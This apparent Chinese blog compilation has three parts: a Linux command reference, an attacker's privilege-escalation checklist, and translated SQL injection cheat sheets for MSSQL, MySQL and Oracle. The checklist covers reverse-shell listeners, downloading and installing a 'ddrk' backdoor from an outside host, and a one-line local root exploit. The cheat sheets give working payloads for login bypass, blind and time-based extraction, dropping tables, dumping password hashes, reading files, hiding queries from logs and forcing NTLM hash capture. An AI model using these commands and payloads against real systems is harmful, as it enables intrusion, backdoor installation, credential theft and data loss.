分类 技术文章 下的文章

linux命令常用合集,提权(转)

常用9类命令   

文件目录类
1.建立目录:mkdir 目录名
2.删除空目录:rmdir 目录名
3.无条件删除子目录: rm -rf 目录名
4.改变当前目录:cd 目录名 (进入用户home目录:cd ~;进入上一级目录:cd -)
5.查看自己所在目录:pwd
6.查看当前目录大小:du
7.显示目录文件列表:ls -l (-a:增加显示隐含目录)
其中:蓝:目录;绿:可执行文件;红:压缩文件;浅蓝:链接文件;灰:其他文件;红底白字:错误的链接文件
8.浏览文件:more 文件名.txt;less 文件名.txt
9.复制文件: cp 源文件 目标文件 (-r:包含目录)
10.查找文件:(1)find (2)locate 命令名
11.链接:(1)建立hard链接:ln 来源文件 链接文件(-d:创建目录链接);(2)建立符号链接:ln -s 来源文件 链接文件

二.驱动挂载类
1.检查硬盘使用情况:df -T -h
2.检查磁盘分区:fdisk -l
3.挂载软硬光区:mount -t /dev/fdx|hdax /mnt/目录名
其中::modos--FAT16;vfat--FAT32;ntfs--NTFS;光驱--iso9660
支持中文名:mount -o iocharset=x /dev/hdax /mnt/目录名(其中:x=cp936或
挂载光驱:mount -t auto /dev/cdrom /mnt/cdrom
挂载ISO文件:mount -t iso9660 -o loop xxx.iso /path
4.解除挂载:umount /mnt/目录名
解除所有挂载:umount -a
5.建立文件系统:mkfs -t /dev/hdxx。其中:ftype:ext2、ext3、swap等

三.程序安装类
1.RPM包安装:(1)安装 rpm -ivh somesoft.rpm
(2)反安装 rpm -e somefost.rpm
(3)查询 rpm -q somefost 或 rpm -qpi somefost.rpm(其中:p未安装;i包含的信息)
(4)查询安装后位置:rpm -ql somefost.rpm
(5)升级安装:rpm -Uvh somesoft.rpm
(6)强制安装:rpm -ivh --nodeps somesoft.rpm 或 rpm -ivh --nodeps --force somesoft.rpm

2.源代码包安装:
查阅README
基本用法 (1)配置:解压目录下 ./configure
(2)编译:解压目录下 make
(3)安装:解压目录下 make install
3.src.rpm的安装
需要用到rpmbuild命令加上--rebuild参数。如 rpmbuild --rebuild ***.src.rpm。然后在/usr/src/下找
3.FC3下iso程序安装:system-config-packages --isodir=iso所在目录
RH下iso程序安装:redhat-config-packages --isodir=iso所在目录

四.压缩解压类
1.tar.gz类:(1)解压:tar -xvzf 文件.tar.gz;(2)tar.gz解至tar:gzip -d 文件.tar.gz(2)压缩:gzip 待压缩文件
2.tar未压缩类:(1)解包:tar -xvf 文件.tar;(2)打包:tar -cvf 文件.tar 文件列表
3.zip类:(1)解压:unzip 文件.zip -d dir;(2)压缩:zip zipfile 待压缩文件列表
4.bz2类:(1)解压:bunzip2 文件.bz2或bzip2 -d 文件.bz2;(2)压缩:bzip2 待压缩文件
5.z类:(1)解压:uncompress 文件.z;(2)压缩:compress 文件

五.进程控制类
1.列出当前进程ID:ps -auxw
2.终止进程:(1)终止单一进程:kill 进程ID号
(2)终止该程序所有进程:Killall 程序名
(3)终止X-Window程序:xkill
3.查看资源占用情况:(1)top (2)free (3)dmesg
4.查看环境变量值:env
5.重启:(1)reboot (2)Ctrl Alt Del (3)init 6
6.关机:(1)shutdown -h now (2)halt (3)init 0
7.切换桌面:switchdesk gnome|KDE|...

六.程序运行类
1.查询命令:whereis 命令名
2.后台运行X-Window程序:程序名&
3.强行退出X-Window程序:Ctrl Alt Backspace
4.查看帮助:
(1)简明帮助:命令名 --help | less
(2)更多帮助:man 命令名
(3)info 命令名
(4)help 命令名
5.查看系统路径:echo $PATH
6.查看当前shell堆栈:echo $SHLVL
7.< / >:输入/输出重定向;|:管道左的输入是管道右输入

六.用户帐号类
1.增加用户帐号:(1)用 户 名:adduser 用户帐号名
(2)设置密码: passwd 用户帐号名
2.删除用户帐号:userdel 用户帐号名
3.增加用户组:groupadd 用户组名
4.删除用户组:groupdel 用户组名
5.暂时终止用户帐号:passwd -l 用户帐号名
6.恢复被终止帐号:passwd -u 用户帐号名
7.权限设定
(1)chmod -a|u|g|o |-|=r|w|x 文件/目录名
其中:a--所有用户(all);u--本用户(user);g--用户组(group);o--其他用户(other users)
--增加权限;---删除权限;=--设置权限
文件:r--只读权限(read);w--写权限(write);x--执行权限(execute)
目录:r--允许列目录下文件和子目录;w--允许生成和删除目录下文件;x--允许访问该目录
(2)chmod xxx 文件/目录名
其中:execute=1;write=2;read=4
x取值:0--没有任何权限(常用);1--只能执行(不常见);2--只能写(不常见);3--只能写和执行(不常见);4--只读(常见);5--只读和执行(常见);6--读和写(常见);7--读.写和执行

七.vi编辑类
1.进入后为命令模式:(1)插入i;(2)打开0;(3)修改c;(4)取代r;(5)替换s
2.经(1)后进入全屏幕编辑模式。
3.命令模式-->编辑模式(a/i);编辑模式-->命令模式(Esc);命令模式-->末行模式(:)。
4.:w/w newfile保存
5.:q/q!退出iv;:wq保存退出

八.网络服务
1.显示网络接口参数:ifconfig
2.显示系统邮件:mail
3.启动/终止web服务:httpd -k start|stop|restart
4.查看网络状况:(1)联机状况:ping xxx.xxx.xxx.xxx;
(2)显示网络状况:netstat ,其中:options:-a==所有sockets;-l==包含网络设备;-n==数字IP;
-o==其他信息;-r==路由表;-t==只列TCP sockets;-u==只列UDP sockets;-w==只列raw sockets;
-x==只列Unix Domain sockets

九.其他类
1.显示显卡3D信息:glxinfo和glxgears

提权常用方面

反弹用的
nc -vv -l -p 443 nc端口转发
下载文件
wget     下载编译文件。
gcc 编译
cd /etc   这个就不说了
ls -la    同上
adduser fans (用户名) 加用户
passwd 用户名 密码
cat /etc/shadow 查看文件
chmod 777 文件或目录  赋权
chmod 777 * cat /etc/ | grep 关键字
uname -a 版本
sysctl 内核
server 服务器
id 用户组
cat shadow 看hash
pwd 目录
gcc hoolyshit.c -o hoolyshit 编译

webshell后提权方面思路

一。反弹cmdline shell
直接使用webshell中的反弹回来,本地nc监听nc -vlp 12666
二。提权为root
uname -a 查看内核版本 寻找相应的exp提权
三。安装ddrk后门
wget http://www.xx.com/ddrk.tgz
tar zxvf ddrk.tgz
cd ddrk
./setup pass port
一句话提权命令:
[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
sh-3.2# uname -a
Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux
sh-3.2# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
sh-3.2#

系统信息方面

系统
# uname -a # 查看内核/操作系统/CPU信息
# head -n 1 /etc/issue # 查看操作系统版本
# cat /proc/cpuinfo # 查看CPU信息
# hostname # 查看计算机名
# lspci -tv # 列出所有PCI设备
# lsusb -tv # 列出所有USB设备
# lsmod # 列出加载的内核模块
# env # 查看环境变量
资源
# free -m # 查看内存使用量和交换区使用量
# df -h # 查看各分区使用情况
# du -sh # 查看指定目录的大小
# grep MemTotal /proc/meminfo # 查看内存总量
# grep MemFree /proc/meminfo # 查看空闲内存量
# uptime # 查看系统运行时间、用户数、负载
# cat /proc/loadavg # 查看系统负载
磁盘和分区
# mount | column -t # 查看挂接的分区状态
# fdisk -l # 查看所有分区
# swapon -s # 查看所有交换分区
# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)
# dmesg | grep IDE # 查看启动时IDE设备检测状况
网络
# ifconfig # 查看所有网络接口的属性
# iptables -L # 查看防火墙设置
# route -n # 查看路由表
# netstat -lntp # 查看所有监听端口
# netstat -antp # 查看所有已经建立的连接
# netstat -s # 查看网络统计信息
进程
# ps -ef # 查看所有进程
# top # 实时显示进程状态
用户
# w # 查看活动用户
# id # 查看指定用户信息
# last # 查看用户登录日志
# cut -d: -f1 /etc/passwd # 查看系统所有用户
# cut -d: -f1 /etc/group # 查看系统所有组
# crontab -l # 查看当前用户的计划任务
服务
# chkconfig --list # 列出所有系统服务
# chkconfig --list | grep on # 列出所有启动的系统服务
程序
# rpm -qa # 查看所有安装的软件包
转自:https://www.t00ls.net/thread-39774-1-1.html

SQL注入速查表(下)与Oracle注入速查表

一、SQL注入速查表(下)
0x00 目录

盲注
    关于盲注
    实战中的盲注实例
延时盲注
    WAITFOR DELAY [time](S)
    实例
    BENCHMARK()(M)
    实例
    pg_sleep(seconds)(P)
掩盖痕迹
    -sp_password log bypass(S)
注入测试
一些其他的MySQL笔记
    MySQL中好用的函数
SQL注入的高级使用
    强制SQL Server来得到NTLM哈希
    Bulk insert UNC共享文件 (S) 

0x01 盲注
关于盲注

一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的

一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果

完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。

在一般盲注下你能够使用If语句或者WHERE查询注入*|(一般来说比较简单)*,在完全盲注下你需要使用一些延时函数并分析响应时间。为此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧。
实战中的盲注实例

以下的输出来自一个真实的私人盲注工具在测试一个SQL Server后端应用并且遍历表名这些请求完成了第一个表的第一个字符。由于是自动化攻击,SQL查询比实际需求稍微复杂一点。其中我们使用了二分搜索来探测字符的ASCII码。

TRUE和FALSE标志代表了查询返回了true或false

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

由于上面后两个查询都是false,我们能清楚的知道表名的第一个字符的ASCII码是80,也就是"P"。这就是我们通过二分算法来进行盲注的方法。其他已知的方法是一位一位(bit by bit)地读取数据。这些方法在不同条件下都很有效。
延时盲注

首先,只在完全没有提示(really blind)的情况下使用,否则请使用1/0方式通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时(timeout)。
WAITFOR DELAY time

这就跟sleep差不多,等待特定的时间。通过CPU来让数据库进行等待。

WAITFOR DELAY '0:0:10'--

你也可以这样用

WAITFOR DELAY '0:0:0.51'

实例

俺是sa吗? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK()(M)

一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。

BENCHMARK(howmanytimes, do this)

实例

俺是root吗?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

判断表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds)(P)

睡眠指定秒数。

SELECT pg_sleep(10);睡个十秒

掩盖痕迹
-sp_password log bypass(S)

出于安全原因,SQL Server不会把含有这一选项的查询日志记录进日志中(!)。所以如果你在查询中添加了这一选项,你的查询就不会出现在数据库日志中,当然,服务器日志还是会有的,所以如果可以的话你可以尝试使用POST方法。
0x02 注入测试

这些测试既简单又清晰,适用于盲注和悄悄地搞。

product.asp?id=4 (SMO)
    product.asp?id=5-1
    product.asp?id=4 OR 1=1

product.asp?name=Book
    product.asp?name=Bo’%2b’ok
    product.asp?name=Bo’ || ’ok (OM)
    product.asp?name=Book’ OR ‘x’=’x

0x03 一些其他的MySQL笔记

子查询只能在MySQL4.1+使用
用户
    SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO DUMPFILE
    把查询写入一个新文件中(不能修改已有文件)
UDF功能
    create function LockWorkStation returns integer soname 'user32';
    select LockWorkStation();
    create function ExitProcess returns integer soname 'kernel32';
    select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;

admin密码哈希的第一位
    SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

文件读取
    query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL读取文件内容

    默认这个功能是没开启的!

    create table foo( line blob ); 
    load data infile 'c:/boot.ini' into table foo; 
    select * from foo;

MySQL里的各种延时

select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
遍历数据,暴力猜解
    select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );

MySQL中好用的函数

MD5()

MD5哈希

SHA1()

SHA1哈希

PASSWORD()

ENCODE()

COMPRESS()

压缩数据,在盲注时读取大量数据很好用

ROW_COUNT()

SCHEMA()

VERSION()

跟@@version是一样的

SQL注入的高级使用

一般来说你在某个地方进行SQL注入并期望它没有过滤非法操作,而这则是一般人注意不到的层面(hidden layer problem)

Name:' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com

如果应用在name表格中使用了不安全的储存方法或步骤,之后它就会把第一个用户的密码写进你的name里面。
强制SQL Server来得到NTLM哈希

这个攻击能够帮助你得到目标SQL服务器的Windows密码,不过你的连接很可能会被防火墙拦截。这能作为一个很有用的入侵测试。我们强制SQL服务器连接我们的WindowsUNC共享并通过抓包软件(Cain & Abel)捕捉NTLM session。
Bulk insert UNC共享文件 (S)

bulk insert foo from '\YOURIPADDRESS\C$\x.txt'
二、Oracle注入速查表

本文由Yinzo翻译,转载请保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

注:下面的一部分查询只能由admin执行,我会在查询的末尾以"-priv"标注。

探测版本:

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;

注释:

SELECT 1 FROM dual — comment

注: Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv

列出密码哈希:

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能够在acct被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv, 11g

密码破解:

checkpwd能够把Oracle8,9,10的基于DES的哈希破解掉

列出权限:

SELECT * FROM session_privs; —当前用户的权限
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用户的权限
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到拥有某个权限的用户
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

列出DBA账户:

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和对应权限

当前数据库:

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

列出数据库:

SELECT DISTINCT owner FROM all_tables; — 列出数据库 (一个用户一个)

– 通过查询TNS监听程序能够查询到其他数据库.详情看tnscmd。

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

列出表名:

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

— 注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)

查询第N个字符:

SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三个字符‘c’

按位与(Bitwise AND):

SELECT bitand(6,2) FROM dual; — 返回2
SELECT bitand(6,1) FROM dual; — 返回0

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A

字符转ASCII码:

SELECT ascii(‘A’) FROM dual; — 返回65

类型转换:

SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;

拼接字符:

SELECT ‘A’ || ‘B’ FROM dual; — 返回AB

IF语句:

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

— 跟SELECT语句在一起时不太管用

Case语句:

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2

绕过引号:

SELECT chr(65) || chr(66) FROM dual; — 返回AB

延时:

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果发送TCP包被拦截或者很慢

— 更多关于延时的内容请看Heavy Queries

发送DNS请求:

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

命令执行:

如果目标机装了JAVA就能执行命令,看这里

有时候ExtProc也可以,不过我一般都成功不了,看这里

本地文件读取:

UTL_FILE有时候能用。如果下面的语句没有返回null就行。

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

JAVA能用来读取和写入文件,除了Oracle Express

主机名称、IP地址:

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — 查IP
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主机名称

定位DB文件:

SELECT name FROM V$DATAFILE;

默认系统和数据库:

SYSTEM
SYSAUX

额外小贴士:

一个字符串列出所有表名:

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables

– 当你union联查注入的时候只有一行能用与返回数据时使用

盲注排序:

order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end

— 你必须知道两个拥有相同数据类型的字段名才能用

译者注: Oracle注入速查表的作者这边还有MSSQL、MySQL、PostgreSQL、Ingres、DB2、Informix等数据库的速查表,不过我看Drops里面MSSQL和MySQL都已经有比较好的文章了,所以如果有需求的话请在评论留言。

SQL注入速查表(上)

本文由Yinzo翻译,转载请保留署名。原文地址:http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#Enablecmdshell

文档版本:1.4
0x00 关于SQL注入速查表

现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。

样例仅用于读者理解对于“可能出现的攻击(a potential attack)”的基础概念,并且几乎每一个部分都有一段简洁的概要

M: MySQL
S: SQL Server
P: PostgreSQL
O: Oracle
+: (大概)其他所有数据库

例子:

(MS) 代表 : MySQL 和 SQL Server 等
(M*S) 代表 : 仅对某些版本或者某些附在后文中的特殊情况的 MySQL,以及SQL Server

0x01 目录

关于SQL注入速查表
语法参考,攻击样例以及注入小技巧
    行间注释
        使用了行间注释的SQL注入攻击样例
    行内注释
        使用了行内注释的注入攻击样例
        MySQL版本探测攻击样例
    堆叠查询(Stacking Queries)
        支持堆叠查询的语言/数据库
        关于MySQL和PHP
        堆叠注入攻击样例
    If语句
        MySQL的If语句
        SQL Server的If语句
        使用了If语句的注入攻击样例
    整数(Integers)的使用
    字符串操作
        字符串的串联
    没有引号的字符串
        使用了16进制的注入攻击样例
    字符串异化(Modification)与联系
    Union注入
        UNION-语言问题处理
    绕过登陆界面(SMO+)
    绕过检查MD5哈希的登陆界面
        绕过MD5哈希检查的例子(MSP)
    基于错误(Error Based)-探测字段名
        使用HAVING来探测字段名(S)
        在SELECT查询中使用ORDER BY探测字段数(MSO+)
    数据类型、UNION、之类的
        获取字段类型
    简单的注入(MSO+)
    有用的函数、信息收集、内置程序、大量注入笔记
        @@version(MS)
        文件插入(Bulk Insert)(S)
        BCP(S)
        SQL Server的VBS/WSH(S)
        执行系统命令,xp_cmdshell(S)
        SQL Server中的一些特殊的表(S)
        SQL Server的其它内置程序(S)
        大量MSSQL笔记
        使用LIMIT(M)或ORDER(MSO)的注入
        关掉SQL Server(S)
    在SQL Server 2005中启用xp_cmdshell
    探测SQL Server数据库的结构(S)
        获取用户定义表
        获取字段名
    移动记录(Moving records)(S)
    快速的脱掉基于错误(Error Based)的SQL Server注入(S)

0x02 语法参考,攻击样例以及注入小技巧
行间注释

注释掉查询语句的其余部分

行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。

--(SM)

DROP sampletable;--

#(M)

DROP sampletable;#

使用了行间注释的SQL注入攻击样例

用户名:admin'--

构成语句:SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 这会使你以admin身份登陆,因为其余部分的SQL语句被注释掉了。

行内注释

通过不关闭注释注释掉查询语句的其余部分,或者用于绕过过滤,移除空格,混淆,或探测数据库版本。

/*注释内容*/(SM)
    DROP/*comment*/sampletable
    DR/**/OP/*绕过过滤*/sampletable
    SELECT/*替换空格*/password/**/FROM/**/Members

/*! MYSQL专属 */ (M)

这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码,只有MySQL才会执行。同样的你也可以用这招,使得只有高于某版本的服务器才执行某些代码。 SELECT /*!32302 1/0, */ 1 FROM tablename

使用了行内注释的注入攻击样例

ID:10; DROP TABLE members /*

简单地摆脱了处理后续语句的麻烦,同样你可以使用10; DROP TABLE members --
MySQL版本探测攻击样例

SELECT /*!32302 1/0, */ 1 FROM tablename

如果MySQL的版本高于3.23.02,会抛出一个division by 0 error

ID:/*!32302 10*/

ID:10

如果MySQL版本高于3.23.02,以上两次查询你将得到相同的结果
堆叠查询(Stacking Queries)

一句代码之中执行多个查询语句,这在每一个注入点都非常有用,尤其是使用SQL Server后端的应用

;(S) SELECT * FROM members; DROP members-- 结束一个查询并开始一个新的查询

支持堆叠查询的语言/数据库

绿色:支持,暗灰色:不支持,浅灰色:未知

enter image description here
关于MySQL和PHP

阐明一些问题。

PHP-MySQL不支持堆叠查询,Java不支持堆叠查询(ORACLE的我很清楚,其他的就不确定了)。一般来说MySQL支持堆叠查询,但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询,或许MySQL的客户端支持这个,我不确定,有人能确认一下吗?

(译者注:MySQL 5.6.20版本下客户端支持堆叠查询)
堆叠注入攻击样例

ID:10;DROP members --

构成语句:SELECT * FROM products WHERE id = 10; DROP members--

这在执行完正常查询之后将会执行DROP查询。
If语句

根据If语句得到响应。这是盲注(Blind SQL Injection)的关键之一,同样也能简单而准确地进行一些测试。
MySQL的If语句

IF(condition,true-part,false-part)(M)

    SELECT IF (1=1,'true','false')

SQL Server的If语句

IF condition true-part ELSE false-part(S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'

使用了If语句的注入攻击样例

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)

如果当前用户不是"sa"或者"dbo",就会抛出一个divide by zero error。
整数(Integers)的使用

对于绕过十分有用,比如magic_quotes() 和其他类似过滤器,甚至是各种WAF。

0xHEXNUMBER(SM)

(HEXNUMBER:16进制数) 你能这样使用16进制数:

    SELECT CHAR(0x66)(S)

    SELECT 0x5045(M) (这不是一个整数,而会是一个16进制字符串)

    SELECT 0x50 + 0x45(M) (现在这是整数了)

字符串操作

与字符串相关的操作。这对于构造一个不含有引号,用于绕过或探测数据库都非常的有用。
字符串的串联

+(S)

SELECT login + '-' + password FROM members

|| (*MO)

SELECT login || '-' || password FROM members

*关于MySQL的"||" 这个仅在ANSI模式下的MySQL执行,其他情况下都会当成'逻辑操作符'并返回一个0。更好的做法是使用CONCAT()函数。

CONCAT(str1, str2, str3, ...)(M)

连接参数里的所有字符串 例:SELECT CONCAT(login, password) FROM members

没有引号的字符串

有很多使用字符串的方法,但是这几个方法是一直可用的。使用CHAR()(MS)和CONCAT()(M)来生成没有引号的字符串

0x457578 (M) - 16进制编码的字符串

SELECT 0x457578

这在MySQL中会被当做字符串处理

在MySQL中使用16进制字符串的一个简单方式: SELECT CONCAT('0x',HEX('c:\\boot.ini'))

在MySQL中使用CONCAT()函数: SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

这会返回'KLM'

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

这会返回'KLM'

使用了16进制的注入攻击样例

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

这会显示c:\boot.ini的内容

字符串异化(Modification)与联系

ASCII() (SMP)

返回最左边字符的ASCII码的值。这是一个用于盲注的重要函数。

例:SELECT ASCII('a')

CHAR() (SM)

把整数转换为对应ASCII码的字符

例:SELECT CHAR(64)

Union注入

通过union你能跨表执行查询。最简单的,你能注入一个查询使得它返回另一个表的内容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

这会把news表和members表的内容合并返回。

另一个例子: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION-语言问题处理

当你使用Union来注入的时候,经常会遇到一些错误,这是由于不同的语言的设置(表的设置、字段设置、表或数据库的设置等等)。这些办法对于解决那些问题都挺有用的,尤其是当你处理日文,俄文,土耳其文的时候你会就会见到他们的。

使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS(S)

或者其它的什么语句,具体的自己去查SQL Server的文档。 例:SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

Hex()(M)

百试百灵~

绕过登陆界面(SMO+)

SQL注入101式(大概是原文名字吧?),登陆小技巧

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....
以不同的用户登陆 (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

**旧版本的MySQL不支持union* 绕过检查MD5哈希的登陆界面

如果应用是先通过用户名,读取密码的MD5,然后和你提供的密码的MD5进行比较,那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取的哈希,而使用你提供的哈希进行比较。
绕过MD5哈希检查的例子(MSP)

用户名:admin

密码:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055

其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
基于错误(Error Based)-探测字段名
使用HAVING来探测字段名(S)

' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
……
' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --
直到它不再报错,就算搞定了

在SELECT查询中使用ORDER BY探测字段数(MSO+)

通过ORDER BY来探测字段数能够加快union注入的速度。

ORDER BY 1--
ORDER BY 2--
……
ORDER BY N--
一直到它报错为止,最后一个成功的数字就是字段数。

数据类型、UNION、之类的

提示:

